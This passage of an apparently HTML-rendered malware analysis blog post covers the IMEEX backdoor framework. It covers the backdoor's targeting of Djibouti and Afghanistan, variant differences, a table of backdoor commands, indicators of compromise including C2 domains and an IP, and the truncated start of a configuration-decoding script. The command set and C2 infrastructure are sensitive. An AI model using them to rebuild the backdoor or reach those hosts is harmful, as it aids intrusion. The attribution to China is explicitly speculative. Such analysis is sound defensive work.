&lt;a href="https://www.sentinelone.com/labs/shadowpad-a-masterpiece-of-privately-sold-malware-in-chinese-espionage/"target="_blank" rel="noopener"&gt;by SentinelOne&lt;/a&gt;
in 2021, and which was also hosted on 103.151.229.52.&lt;/p&gt;
&lt;p&gt;The investigation has uncovered a potential connection between several domains
and IP addresses, suggesting shared infrastructure with the use of ShadowPad by
multiple Chinese APT groups. However, this does not strongly indicate specific
attribution to a particular group, but rather suggests a possible rotation from
ShadowPad to another toolset.&lt;/p&gt;
&lt;h3&gt;IMEEX targeting Djibouti&lt;span class="hx:absolute hx:-mt-20" id="imeex-targeting-djibouti"&gt;&lt;/span&gt;
&lt;a href="#imeex-targeting-djibouti" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/10/technical-analysis-of-a-novel-imeex-framework/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Djibouti holds significant geopolitical importance due to its strategic
location at the crossroads of the Red Sea and the Gulf of Aden, controlling
access to one of the world&amp;rsquo;s busiest maritime routes. This small East African
nation
&lt;a href="https://moderndiplomacy.eu/2024/02/21/strategic-significance-of-djibouti-a-geopolitical-playground-for-global-powers/#:~:text=The%20militaries%20of%20France%2C%20Saudi%20Arabia%2C%20and%20Japan%20rub%20shoulders%20here%20with%20the%20US.%20What%E2%80%99s%20even%20more%20surprising%20is%20that%20so%20does%20China.%20India%20and%20Russia%20are%20keen%20to%20join%20in%20too.%20Despite%20its%20chaotic%20neighbors%2C%20Djibouti%20offers%20an%20excellent%20position%20for%20foreign%20militaries%20to%20project%20their%20power."target="_blank" rel="noopener"&gt;hosts military bases&lt;/a&gt;
from several global powers, including the U.S., France, and Japan, making it a
critical hub for military and trade operations. Notably, Djibouti is home to
&lt;a href="https://thediplomat.com/2021/01/china-consolidates-its-commercial-foothold-in-djibouti/#:~:text=In%20recent%20years%2C%20China%2DDjibouti%20relations%20have%20developed%20and%20achieved%20fruitful%20results%20in%20various%20fields.%20In%202017%2C%20China%20established%20a%20naval%20base%20in%20Djibouti%2C%20representing%20the%20first%20time%20it%20has%20sought%20a%20permanent%20military%20presence%20beyond%20its%20borders."target="_blank" rel="noopener"&gt;China&amp;rsquo;s first overseas military base&lt;/a&gt;,
established in 2017, which has become a central part of China&amp;rsquo;s Belt and Road
Initiative (BRI). This base helps China secure its economic and military
interests in the region, particularly along vital shipping lanes connecting the
Indian Ocean to Europe via the Suez Canal.
&lt;a href="https://www.cfr.org/blog/chinas-strategy-djibouti-mixing-commercial-and-military-interests"target="_blank" rel="noopener"&gt;China&amp;rsquo;s involvement&lt;/a&gt;
in Djibouti extends beyond military interests, with heavy investments in
infrastructure like railways, ports, and a free trade zone. These efforts
support
&lt;a href="https://djiboutiembassykuwait.net/en/p/index/14#:~:text=Djibouti%202035%27s%20core%20economic%20objective,than%20200%2C000%20jobs%20by%202035."target="_blank" rel="noopener"&gt;Djibouti&amp;rsquo;s &amp;ldquo;Vision 2035&amp;rdquo; plan&lt;/a&gt;,
aimed at becoming a commercial and logistics hub for Africa. However, these
investments have also deepened Djibouti&amp;rsquo;s reliance on Chinese loans, raising
concerns about potential debt dependency.&lt;/p&gt;
&lt;p&gt;Given Djibouti&amp;rsquo;s strategic significance to China&amp;rsquo;s global trade routes and
military expansion, it is plausible that China could leverage cyber operations,
including potential malware attacks, to safeguard its interests. The country&amp;rsquo;s
proximity to important shipping lanes and the presence of multiple global
military powers, including the U.S. and France, make it a critical point for
espionage and intelligence gathering. Cyberattacks offer a low-risk,
high-reward method for China to monitor adversaries, gather intelligence, and
secure its foothold in Djibouti without escalating to open conflict. In this
competitive geopolitical environment, malware could be used to disrupt
operations that threaten China&amp;rsquo;s regional strategic goals, aligning with
Beijing&amp;rsquo;s broader approach of blending economic influence and military
presence.&lt;/p&gt;
&lt;h3&gt;IMEEX targeting Afghanistan&lt;span class="hx:absolute hx:-mt-20" id="imeex-targeting-afghanistan"&gt;&lt;/span&gt;
&lt;a href="#imeex-targeting-afghanistan" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/10/technical-analysis-of-a-novel-imeex-framework/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;China&amp;rsquo;s interests in Afghanistan are multifaceted, revolving around security,
economic influence, and geopolitical strategy. After the U.S. withdrawal and
the Taliban&amp;rsquo;s return to power, China has sought to
&lt;a href="https://www.rferl.org/a/afghanistan-taliban-china-goals/31420549.html"target="_blank" rel="noopener"&gt;fill the power vacuum&lt;/a&gt;
by fostering stronger relations with Afghanistan. Key interests include
securing China&amp;rsquo;s western border, ensuring stability in the region, and
safeguarding investments under the Belt and Road Initiative (BRI). The
expansion of the China-Pakistan Economic Corridor (CPEC) into Afghanistan is
crucial for enhancing regional connectivity and trade, linking China to Central
Asia and beyond.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://global.chinadaily.com.cn/a/202305/07/WS6457244aa310b6054fad1807.html"target="_blank" rel="noopener"&gt;Security is a significant concern for China&lt;/a&gt;,
especially with regard to extremist groups that could threaten its investments
or spill over into its own territories, like Xinjiang. Afghanistan&amp;rsquo;s
instability presents risks to China&amp;rsquo;s projects and personnel in the region,
which may motivate the use of malware as a tool to monitor potential threats,
gather intelligence, and protect its strategic interests. Cyber operations
could also help China track the activities of other foreign powers or influence
local dynamics without direct intervention.&lt;/p&gt;
&lt;p&gt;Given the volatile situation and China&amp;rsquo;s deep economic and strategic interests,
the deployment of malware could serve as a low-cost, effective means of
advancing China&amp;rsquo;s goals in Afghanistan.&lt;/p&gt;
&lt;h3&gt;Analysis of Variants or Related Samples&lt;span class="hx:absolute hx:-mt-20" id="analysis-of-variants-or-related-samples"&gt;&lt;/span&gt;
&lt;a href="#analysis-of-variants-or-related-samples" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;sha256: &lt;code&gt;6fcd206752cd87c26909ed3751b94eb8ef14cd1567d3757cae7fa0b89d3f77c7&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The malware sample submitted to VirusTotal from Afghanistan features a
compilation timestamp of April 4, 2016. This date is more recent than other
known variants, which were compiled between 2014 and 2015. Despite the newer
timestamp, the Afghan variant has fewer capabilities compared to its
predecessors, indicating a reduction in functionality despite the newer
compilation date.&lt;/p&gt;
&lt;p&gt;Upon execution, the malware creates a mutex with the value:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Global42EC381F&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Codebase and Functional Differences&lt;span class="hx:absolute hx:-mt-20" id="codebase-and-functional-differences"&gt;&lt;/span&gt;
&lt;a href="#codebase-and-functional-differences" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;While the core codebase of the Afghan variant remains largely consistent with
other versions, there are notable differences in its operational capabilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Execution of additional modules&lt;/strong&gt;: This variant does not support the
execution of modules. Specifically, it lacks the functionality to store
arguments and information required for the remote execution of modules within
the Registry.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Process Management&lt;/strong&gt;: The malware cannot create or terminate processes.
This absence of process manipulation capabilities reduces its ability to
execute additional payloads or disrupt system processes, potentially limiting
its impact compared to more feature-rich variants.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Configuration Storage&lt;span class="hx:absolute hx:-mt-20" id="configuration-storage"&gt;&lt;/span&gt;
&lt;a href="#configuration-storage" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The method of storing configuration data in this variant differs from other
versions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Storage Location&lt;/strong&gt;: Unlike other variants, this version retrieves
configuration values from the read-only (.rdata) section of the binary
instead of loading configuration data from the end of the executable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Obfuscation&lt;/strong&gt;: Each byte of the configuration data is XOR-encoded with
the value 0xEC. This simple obfuscation technique serves to conceal the
configuration information from straightforward analysis, requiring reverse
engineers to decode the data to understand the malware&amp;rsquo;s settings.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The C2 used by this variant is: &lt;code&gt;bbsnews.sytes[.]net&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A script to decode the configuration of this variant is provided in the
appendix below.&lt;/p&gt;
&lt;h2&gt;Overall Assessment&lt;span class="hx:absolute hx:-mt-20" id="overall-assessment"&gt;&lt;/span&gt;
&lt;a href="#overall-assessment" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Considering the reduced functionality in execution of modules and process
operations, along with the modified method of configuration storage, this
variant appears to be a more &lt;strong&gt;compact iteration of the IMEEX Framework&lt;/strong&gt;. The
simplifications suggest a focus on specific operational objectives, potentially
prioritizing stealth and resource efficiency over comprehensive system control.
This makes the Afghan sample a potentially less versatile but more discreet
threat compared to its more feature-rich counterparts.&lt;/p&gt;
&lt;p&gt;Summary of supported commands by the Afghan variant:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Operation&lt;/th&gt;
&lt;th&gt;Commands Id&lt;/th&gt;
&lt;th&gt;Sub-Command Id&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Extra Parameters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File Operation&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Get Driver Info&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;File/Directory&lt;/td&gt;
&lt;td&gt;Discovery File path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Write File&lt;/td&gt;
&lt;td&gt;File path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Read File&lt;/td&gt;
&lt;td&gt;File path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;6 (No number 5)&lt;/td&gt;
&lt;td&gt;Delete folder and content&lt;/td&gt;
&lt;td&gt;File path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remote Process Execution&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;td&gt;Create a Process and run a command&lt;/td&gt;
&lt;td&gt;Command to execute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command Execution Using Windows Pipe&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Set a pipe connected to cmd&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Terminate Pipe&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Write to pipe&lt;/td&gt;
&lt;td&gt;Content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Driver Operation&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Check if new drivers were added&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A comparative analysis of the command processing functionalities in the
Djibouti and Afghan variants reveals similarities between the two versions.
Notably, the absence of the execution of modules is observed in the Afghan
variant, underscoring its functional deficiencies compared to the more
comprehensive Djibouti implementation.&lt;/p&gt;
&lt;p&gt;The function that processes the command in the Djibouti variant.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/10/technical-analysis-of-a-novel-imeex-framework/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The function that processes the command in the Afghan variant.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/10/technical-analysis-of-a-novel-imeex-framework/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Technical Appendix: Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="technical-appendix-indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#technical-appendix-indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Appendix A: File Names and Process Indicators&lt;span class="hx:absolute hx:-mt-20" id="appendix-a-file-names-and-process-indicators"&gt;&lt;/span&gt;
&lt;a href="#appendix-a-file-names-and-process-indicators" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Attempts to run as svchost.exe, imaadp.dll or rundll32.exe&lt;/p&gt;
&lt;h4&gt;Network Infrastructure&lt;span class="hx:absolute hx:-mt-20" id="network-infrastructure"&gt;&lt;/span&gt;
&lt;a href="#network-infrastructure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;h5&gt;Domains:&lt;span class="hx:absolute hx:-mt-20" id="domains"&gt;&lt;/span&gt;
&lt;a href="#domains" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;yurtumawat.wwwhost[.]us&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;erkinhorshiden.onedumb[.]com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;45.141.139[.]146&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bbsnews.sytes[.]net&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Port&lt;span class="hx:absolute hx:-mt-20" id="port"&gt;&lt;/span&gt;
&lt;a href="#port" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;443/TCP&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Mutexes&lt;span class="hx:absolute hx:-mt-20" id="mutexes"&gt;&lt;/span&gt;
&lt;a href="#mutexes" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Global\4B59AFCC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Global\42EC381F&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Global\3796878E&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Registry Keys&lt;span class="hx:absolute hx:-mt-20" id="registry-keys"&gt;&lt;/span&gt;
&lt;a href="#registry-keys" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Software\Microsoft\IMEEX\&amp;lt;number&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Subkeys: N, A, P&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Appendix B: String Decryption Script&lt;span class="hx:absolute hx:-mt-20" id="appendix-b-string-decryption-script"&gt;&lt;/span&gt;
&lt;a href="#appendix-b-string-decryption-script" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Djibouti variant:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Union&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Tuple&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt_and_store_in_buffer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Union&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; Decrypts data from an executable, validates the decrypted data, and extracts a port and string.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; Args:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; file_path (str): Path to the executable file containing the encrypted data.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; Returns:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; Union[Tuple[int, str], None]: Returns a tuple containing the port and decrypted string,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; or None if decryption fails.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Open the file for reading&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Move the file pointer to 108 bytes before the end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seek&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SEEK_END&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Read 108 bytes of data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="c1"&gt;# Failed to read the correct amount of data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Decrypt the data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data_buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;107&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data_buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="n"&gt;data_buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# XOR the first byte with 0xF0 as part of the decryption&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data_buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="mh"&gt;0xF0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Pack the first 4 bytes to check for validation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decrypted_header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpack_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_buffer&lt;/span&gt;&lt;span class="p"&gt;))[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;decrypted_header&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mh"&gt;0xFEFCFDFB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="c1"&gt;# Validation failed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Extract the port from the next 4 bytes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpack_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_buffer&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
